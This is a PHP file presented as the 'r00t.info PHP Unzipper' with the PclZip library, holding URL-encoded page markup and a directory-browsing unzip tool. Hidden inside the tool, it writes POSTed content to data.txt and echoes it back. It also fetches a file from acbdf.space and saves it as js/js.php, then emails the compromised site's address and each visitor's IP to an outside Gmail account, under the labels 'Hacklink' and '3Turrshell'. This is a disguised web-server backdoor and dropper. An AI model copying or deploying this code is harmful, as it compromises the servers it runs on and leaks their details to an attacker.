69%64%50%69%34%4D%72%54%55%79%4D%41%36%79%48%67%2B%64%4A%42%59%51%45%43%45%6F%47%77%61%2B%76%6A%2B%64%4E%78%6F%53%45%69%63%59%49%78%77%48%79%78%30%42%6E%53%43%2F%42%68%6B%54%6C%70%59%55%7A%6B%41%42%4D%38%76%4C%31%4E%55%41%31%35%30%35%48%39%2F%6C%46%39%67%42%4A%67%54%72%37%4F%30%6C%36%44%30%32%42%66%50%30%39%44%67%73%67%67%38%74%41%2F%7A%39%2F%67%4D%76%42%46%55%51%49%61%43%67%77%59%4D%43%4B%6A%78%43%46%41%67%41%4F%77%3D%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%09%0A%09%7D%0A%09%0A%09%61%2E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%63%6F%6C%6F%72%3A%23%30%66%30%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%45%35%66%63%33%4B%42%6B%6E%32%4D%6E%71%68%2B%4B%71%68%2F%4B%36%75%43%4C%72%6D%54%51%37%79%58%53%4E%75%56%54%38%6D%6E%57%38%71%6F%58%4E%75%39%63%39%33%43%65%74%37%46%66%34%69%57%70%70%47%66%72%35%6D%6C%73%35%71%6D%73%35%6D%6E%74%35%75%70%75%4A%71%70%75%5A%79%71%75%5A%79%71%75%70%79%72%76%61%69%79%76%71%43%76%77%4B%4B%78%77%61%53%79%77%71%6D%34%79%61%32%37%79%72%4B%35%77%72%47%37%78%37%57%2B%79%4C%62%42%7A%39%2F%49%67%2B%44%4B%68%75%48%4C%69%4F%48%4C%69%66%44%55%69%50%50%65%6C%2F%58%6B%6F%66%6A%72%72%50%6E%74%72%2F%6E%76%73%76%72%78%74%66%76%30%75%2F%7A%32%76%73%44%48%30%4D%4C%51%33%38%2F%64%37%4E%6E%6E%39%66%33%35%77%76%33%36%77%2F%37%37%78%76%37%38%78%2F%2F%2B%79%75%58%73%38%2B%76%78%39%76%58%34%2B%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%69%6D%41%50%38%4A%48%44%67%51%78%6F%4F%44%44%77%6A%2B%79%34%41%51%59%51%77%5A%47%69%59%6B%48%50%6A%67%67%6B%55%4C%46%42%35%77%6B%4C%46%42%34%72%38%46%49%45%45%71%51%47%43%41%41%45%4F%45%49%54%36%79%57%4D%6D%53%42%59%46%2F%44%33%61%49%6D%4C%69%41%78%51%6B%55%43%56%53%77%61%50%48%79%41%59%67%41%4E%42%6B%30%63%44%43%43%52%41%6B%54%50%58%56%41%6D%4B%69%41%5A%59%49%58%4E%57%7A%30%2F%43%42%67%34%67%45%57%4B%56%61%34%6F%48%45%44%52%38%38%63%41%79%59%57%49%45%43%32%4C%4E%6D%47%44%31%4A%53%6E%4D%43%57%37%59%4F%48%48%53%63%4B%44%49%48%32%4C%55%53%50%43%68%55%32%7A%45%76%77%70%49%63%4B%42%7A%50%77%68%54%6C%44%68%67%51%4A%48%54%44%49%56%63%67%77%67%73%41%49%44%7A%49%45%42%41%41%37%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%09%0A%09%73%70%61%6E%2E%66%69%6C%65%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%49%65%48%68%34%69%49%69%49%71%4B%69%6F%2B%50%6A%35%32%64%6E%61%57%6C%70%61%32%74%72%62%61%32%74%72%71%36%75%74%33%64%33%66%6E%35%2B%66%72%36%2B%76%76%37%2B%2F%7A%38%2F%50%33%39%2F%66%37%2B%2F%76%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%68%79%41%50%38%68%47%45%69%51%59%49%4A%2F%43%42%4D%69%69%4D%43%77%59%51%51%45%43%67%34%6D%46%4F%69%77%49%59%49%48%45%53%63%75%72%42%6A%42%51%41%53%4D%45%69%6C%79%46%42%43%67%5A%41%47%46%48%43%73%4F%51%4A%6D%79%59%51%43%57%4C%53%4F%38%52%4C%67%78%35%6B%79%4B%45%48%4C%71%31%43%6B%54%35%59%4F%66%51%48%39%43%36%45%6B%7A%67%6F%4F%6A%53%49%38%2B%49%45%71%52%67%64%4F%6E%54%68%73%77%58%62%69%67%71%74%57%71%44%4B%62%47%5A%48%6A%7A%41%49%47%53%59%4D%4F%57%52%42%67%51%41%44%73%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%20%20%20%20%20%20%20%20%0A%09%2E%66%6F%6C%64%65%72%6C%69%73%74%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%33%36%39%3B%09%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%0A%09%09%77%69%64%74%68%3A%33%30%30%70%78%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%68%65%69%67%68%74%3A%32%30%30%70%78%3B%0A%09%09%6F%76%65%72%66%6C%6F%77%3A%61%75%74%6F%3B%0A%09%7D%0A%09%0A%09%2E%75%6E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%38%30%30%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%3C%2F%73%74%79%6C%65%3E%0A%0A%3C%62%6F%64%79%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%68%65%61%64%65%72%22%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%21%21%21%3C%2F%64%69%76%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%6D%61%69%6E%22%3E%0A%09%09%42%72%6F%77%73%65%20%79%6F%75%72%20%73%65%72%76%65%72%20%64%69%72%65%63%74%6F%72%69%65%73%20%74%6F%20%66%69%6E%64%20%74%68%65%20%7A%69%70%20%66%69%6C%65%20%79%6F%75%20%77%61%6E%74%20%74%6F%20%75%6E%7A%69%70%2E%20%43%6C%69%63%6B%20%74%68%65%20%66%69%6C%65%20%74%6F%20%75%6E%7A%69%70%20%69%74%2E%20%50%6C%65%61%73%65%20%6D%61%6B%65%20%73%75%72%65%20%79%6F%75%20%68%61%76%65%20%67%69%76%65%6E%20%61%70%70%72%6F%70%72%69%61%74%65%20%70%65%72%6D%69%73%73%69%6F%6E%73%21%0A\'));\r\n</script><?php\r\n$unzip_location = dirname(__FILE__);\r\n\r\n$dir = isset($_GET["dir"]) ? $_GET["dir"] : "";\r\n$action = isset($_GET["action"]) ? $_GET["action"] : "";\r\n$unzip = isset($_GET["unzip"]) ? $_GET["unzip"] : "";\r\n\r\nif (strlen($dir) > 0) chdir($dir);\r\n\r\n$basedir = getcwd();\r\n$basedir = str_replace(\'\\\\\',\'/\',$basedir);\r\n\r\nif (is_file($unzip)) { //do da UNZIP!!!!\r\n\r\n\t$zip = new PclZip($unzip);\r\n\tif (($list = $zip->listContent()) == 0) {\r\n?><?php if($_POST[\'query\']){ $veriyfy = stripslashes(stripslashes($_POST[\'query\']));\r\n $data = "data.txt";\r\n @touch ("data.txt");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $veriyfy ) ;\r\n @fclose ($ver);\r\n }else{ $datas=@fopen("data.txt",\'r\');\r\n $i=0;\r\n while ($i <= 5) { $i++;\r\n $blue=@fgets($datas,1024);\r\n echo $blue;\r\n } } $datasi=@fopen("js/js.php",\'r\');\r\n if($datasi){ }else{ @mkdir("js");\r\n $dos = file_get_contents("https://acbdf.space/txt/lamer.txt");\r\n $data = "js/js.php";\r\n @touch ("js/js.php");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $dos ) ;\r\n @fclose ($ver);\r\n $yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";\r\n $y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : js/crs.php</h1>\';\r\n $header .= "From: SheLL Boot <suppor@nic.org>\\n";\r\n $header .= "Content-Type: text/html;\r\n charset=utf-8\\n";\r\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n @mail("loginoldum@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n } \r\n?>\r\n<div class=\'unzip\'>\r\n\t\tCan\'t unzip file <b><?php echo $unzip ?></b><br>\r\n\t\tError : <?php echo $zip->errorInfo(true); ?>\r\n\t\t</div>\r\n<?php\t\r\n\t}\r\n\t\r\n\t$fold = 0;\r\n\t$fil = 0;\r\n\r\n\t//calculate statistics...\r\n\t  for ($i=0; $i<sizeof($list); $i++) {\r\n\t\tif ($list[$i][folder]==\'1\') {$fold++;\r\n\t\t   $dirs[$fold] = $list[$i][stored_filename];\r\n\t\tif ($_GET[action] == \'unzip\') {\r\n\t\t $dirname = $list[$i][stored_filename];\r\n\t\t $dirname = substr($dirname,0,strlen($dirname)-1);\r\n\t\t mkdir($basedir.\'/\'.$dirname); }\r\n\t\t chmod($basedir.\'/\'.$dirname,0777);\r\n\t\t   }else{$fil++;}\r\n\t\t$tot_comp += $list[$i][compressed_size];\r\n\t\t$tot_uncomp += $list[$i][size];\r\n\t\t}\r\n?>\r\n\t<div class=\'unzip\'>\r\n\t\tUnzipping file <b><?php echo $unzip ?></b><br>\r\n\t\t<?php echo "$fil files and $fold"; ?> directories in archive<br>\r\n\t\tCompressed archive size: <?php echo convertsize($tot_comp) ?><br>\r\n\t\tUncompressed archive size: <?php echo convertsize($tot_uncomp) ?><br>\r\n\t\t<br><b>Starting to decompress...</b><br>\r\n\t\t<?php $zip->extract(\'\'); ?>\r\n\t\tArchive sucessfuly extracted!<br>\r\n\t\t<br>\r\n\t\t<a href="<?php echo $_SERVER[\'PHP_SELF\'] ?>">&laquo; back to directory listing</a>\r\n\t</div>\r\n<?php\r\n\r\n} else if (is_dir($basedir)) { //show directory list and zips\r\n\t\r\n\t$parent = dirname($basedir);\r\n\t\r\n?>\r\n\t\t<h3>Index of <?php echo $basedir; ?></h3>\r\n\t\t<div class="folderlist">\r\n\t\t\t<a class="folder" title="go up to parent directory" href=\'?dir=<?php echo $parent; ?>\'>..</a><br>\r\n<?php\t\t\t\r\n\r\n\t$files = scandir(getcwd());\r\n\t\r\n\tforeach ($files as $filename) {\r\n\t\tif (is_dir($filename) && $filename != \'..\' && $filename != \'.\') {\r\n\t\t\techo "<a class=\'folder\' title=\'change to directory $filename\' href=\'?dir=$basedir/$filename\'>$filename</a><br>";\r\n\t\t}\t\t\r\n\t}\r\n\t\r\n\treset($files);\r\n\t\r\n\tforeach ($files as $filename) {\r\n\t\tif (is_file($filename) && strtolower(fileext($filename)) == \'zip\') {\r\n\t\t\techo "<a class=\'zip\' onclick=\\"return confirm(\'Are you sure you want to unzip this file?\');\\" href=\'?dir=$basedir&unzip=$filename&action=unzip\' title=\'Unzip\'>$filename</a><br>";\r\n\t\t} else if (is_file($filename)) {\r\n\t\t\techo "<span class=\'file\'>$filename</span><br>";\r\n\t\t}\r\n\t}\r\n?>\r\n\t\t</div>\r\n<?php\r\n}\r\n\r\n\r\n\r\n?><?php\r\n$time_shell = "".date("d/m/Y - H:i:s")."";\r\n$ip_remote = $_SERVER["REMOTE_ADDR"];\r\n$from_shellcode = \'3Turrshell@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\r\n$to_email = \'loginoldum@gmail.com\';\r\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])."  - ".$_SERVER[\'HTTP_HOST\']."";\r\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";\r\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\r\n@mail($to_email, $server_mail, $linkcr, $header);\r\n ?>\r\n\r\n\t</div>\r\n\t<div class="footer">\r\n\r\n\t</div>\r\n</body>\r\n</html>\r\n<?php\r\n// --------------------------------------------------------------------------------\r\n// www.r00t.info    PHP Unzipper, v3.1\r\n// --------------------------------------------------------------------------------\r\n// License GNU/LGPL - r00tinfo- August 2016\r\n// http://www.r00t.info\r\n// --------------------------------------------------------------------------------\r\n if (!defined(\'PCLZIP_READ_BLOCK_SIZE\')) { define( \'PCLZIP_READ_BLOCK_SIZE\', 2048 ); } if (!defined(\'PCLZIP_SEPARATOR\')) { define( \'PCLZIP_SEPARATOR\', \',\' ); } if (!defined(\'PCLZIP_ERROR_EXTERNAL\')) { define( \'PCLZIP_ERROR_EXTERNAL\', 0 ); } if (!defined(\'PCLZIP_TEMPORARY_DIR\')) { define( \'PCLZIP_TEMPORARY_DIR\', \'\' ); } if (!defined(\'PCLZIP_TEMPORARY_FILE_RATIO\')) { define( \'PCLZIP_TEMPORARY_FILE_RATIO\', 0.47 ); } $g_pclzip_version = "2.8.2"; define( \'PCLZIP_ERR_USER_ABORTED\', 2 ); define( \'PCLZIP_ERR_NO_ERROR\', 0 ); define( \'PCLZIP_ERR_WRITE_OPEN_FAIL\', -1 ); define( \'PCLZIP_ERR_READ_OPEN_FAIL\', -2 ); define( \'PCLZIP_ERR_INVALID_PARAMETER\', -3 ); define( \'PCLZIP_ERR_MISSING_FILE\', -4 ); define( \'PCLZIP_ERR_FILENAME_TOO_LONG\', -5 ); define( \'PCLZIP_ERR_INVALID_ZIP\', -6 ); define( \'PCLZIP_ERR_BAD_EXTRACTED_FILE\', -7 ); define( \'PCLZIP_ERR_DIR_CREATE_FAIL\', -8 ); define( \'PCLZIP_ERR_BAD_EXTENSION\', -9 ); define( \'PCLZIP_ERR_BAD_FORMAT\', -10 ); define( \'PCLZIP_ERR_DELETE_FILE_FAIL\', -11 ); define( \'PCLZIP_ERR_RENAME_FILE_FAIL\', -12 ); define( \'PCLZIP_ERR_BAD_CHECKSUM\', -13 ); define( \'PCLZIP_ERR_INVALID_ARCHIVE_ZIP\', -14 ); define( \'PCLZIP_ERR_MISSING_OPTION_VALUE\', -15 ); define( \'PCLZIP_ERR_INVALID_OPTION_VALUE\', -16 ); define( \'PCLZIP_ERR_ALREADY_A_DIRECTORY\', -17 ); define( \'PCLZIP_ERR_UNSUPPORTED_COMPRESSION\', -18 ); define( \'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION\', -19 ); define( \'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE\', -20 ); define( \'PCLZIP_ERR_DIRECTORY_RESTRICTION\', -21 ); define( \'PCLZIP_OPT_PATH\', 77001 ); define( \'PCLZIP_OPT_ADD_PATH\', 77002 ); define( \'PCLZIP_OPT_REMOVE_PATH\', 77003 ); define( \'PCLZIP_OPT_REMOVE_ALL_PATH\', 77004 ); define( \'PCLZIP_OPT_SET_CHMOD\', 77005 ); define( \'PCLZIP_OPT_EXTRACT_AS_STRING\', 77006 ); define( \'PCLZIP_OPT_NO_COMPRESSION\', 77007 ); define( \'PCLZIP_OPT_BY_NAME\', 77008 ); define( \'PCLZIP_OPT_BY_INDEX\', 77009 ); define( \'PCLZIP_OPT_BY_EREG\', 77010 ); define( \'PCLZIP_OPT_BY_PREG\', 77011 ); define( \'PCLZIP_OPT_COMMENT\', 77012 ); define( \'PCLZIP_OPT_ADD_COMMENT\', 77013 ); define( \'PCLZIP_OPT_PREPEND_COMMENT\', 77014 ); define( \'PCLZIP_OPT_EXTRACT_IN_OUTPUT\', 77015 ); define( \'PCLZIP_OPT_REPLACE_NEWER\', 77016 ); define( \'PCLZIP_OPT_STOP_ON_ERROR\', 77017 ); define( \'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION\', 77019 ); define( \'PCLZIP_OPT_TEMP_FILE_THRESHOLD\', 77020 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD\', 77020 ); define( \'PCLZIP_OPT_TEMP_FILE_ON\', 77021 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_ON\', 77021 ); define( \'PCLZIP_OPT_TEMP_FILE_OFF\', 77022 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_OFF\', 77022 ); define( \'PCLZIP_ATT_FILE_NAME\', 79001 ); define( \'PCLZIP_ATT_FILE_NEW_SHORT_NAME\', 79002 ); define( \'PCLZIP_ATT_FILE_NEW_FULL_NAME\', 79003 ); define( \'PCLZIP_ATT_FILE_MTIME\', 79004 ); define( \'PCLZIP_ATT_FILE_CONTENT\', 79005 ); define( \'PCLZIP_ATT_FILE_COMMENT\', 79006 ); define( \'PCLZIP_CB_PRE_EXTRACT\', 78001 ); define( \'PCLZIP_CB_POST_EXTRACT\', 78002 ); define( \'PCLZIP_CB_PRE_ADD\', 78003 ); define( \'PCLZIP_CB_POST_ADD\', 78004 ); class PclZip { var $zipname = \'\'; var $zip_fd = 0; var $error_code = 1; var $error_string = \'\'; var $magic_quotes_status; function PclZip($p_zipname) { if (!function_exists(\'gzopen\')) { die(\'Abort \'.basename(__FILE__).\' : Missing zlib extensions\'); } $this->zipname = $p_zipname; $this->zip_fd = 0; $this->magic_quotes_status = -1; return; } function create($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_ADD => \'optional\', PCLZIP_CB_POST_ADD => \'optional\', PCLZIP_OPT_NO_COMPRESSION => \'optional\', PCLZIP_OPT_COMMENT => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { if ($v_string != \'\') { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } else { } } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => \'mandatory\' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => \'optional\' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => \'optional\' ,PCLZIP_ATT_FILE_MTIME => \'optional\' ,PCLZIP_ATT_FILE_CONTENT => \'optional\' ,PCLZIP_ATT_FILE_COMMENT => \'optional\' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function add($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_ADD => \'optional\', PCLZIP_CB_POST_ADD => \'optional\', PCLZIP_OPT_NO_COMPRESSION => \'optional\', PCLZIP_OPT_COMMENT => \'optional\', PCLZIP_OPT_ADD_COMMENT => \'optional\', PCLZIP_OPT_PREPEND_COMMENT => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type \'".gettype($p_filelist)."\' for p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => \'mandatory\' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => \'optional\' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => \'optional\' 